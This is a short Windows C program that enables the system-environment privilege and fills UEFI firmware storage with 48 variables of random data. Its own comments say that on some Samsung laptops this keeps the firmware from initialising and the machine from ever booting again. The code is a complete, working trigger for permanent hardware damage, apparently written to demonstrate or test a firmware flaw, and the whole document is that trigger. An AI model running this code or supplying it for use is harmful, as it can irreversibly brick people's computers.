#include "stdafx.h"
    #include <Windows.h>
    #include <WinBase.h>

    /* Write 48 UEFI variables of 1K each */
    /* The worst case outcome of this should be an error when the firmware runs out of space */
    /* However, if run on some Samsung laptops, this will cause the firmware to fail to initialise and prevent the system from ever booting */
    int _tmain(int argc, _TCHAR* argv[])
    {
            char testdata[1024];
            char name[] = "TestVarXX";
            BOOL result;
            HANDLE handle = NULL;
            TOKEN_PRIVILEGES tp;
     
            ZeroMemory(&tp, sizeof(tp));
     
            if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &handle))
                    printf("Failed to open process\n");
     
            /* Writing to UEFI variables requires the SE_SYSTEM_ENVIRONMENT_NAME privilege */
            if (!LookupPrivilegeValue(NULL, SE_SYSTEM_ENVIRONMENT_NAME, &tp.Privileges[0].Luid))
                    printf("Failed to locate privilege");
     
            tp.PrivilegeCount = 1;
            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            if (!AdjustTokenPrivileges(handle, FALSE, &tp, 0, NULL, 0))
                    printf("Failed to adjust privileges\n");
     
            for (int i=0; i<48; i++) {
                    /* Fill variable with 1K of random data */
                    for (int j=0; j<sizeof(testdata); j++)
                            testdata[j] = (char)rand();

                    /* Generate a unique name */
                    sprintf_s(name, sizeof(name), "TestVar%d", i);

                    /* Actually write the variable - this calls the SetVariable() UEFI runtime service */     
                    result = SetFirmwareEnvironmentVariableExA(name, "{12345678-1234-1234-1234-1234567890ab}", testdata, sizeof(testdata), 0x07);
     
                    if (!result) {
                            printf("Received error code %ld\n", GetLastError());
                            break;
                    }
            }
     
            if (result)
                            printf("Success");
     
            return 0;
    }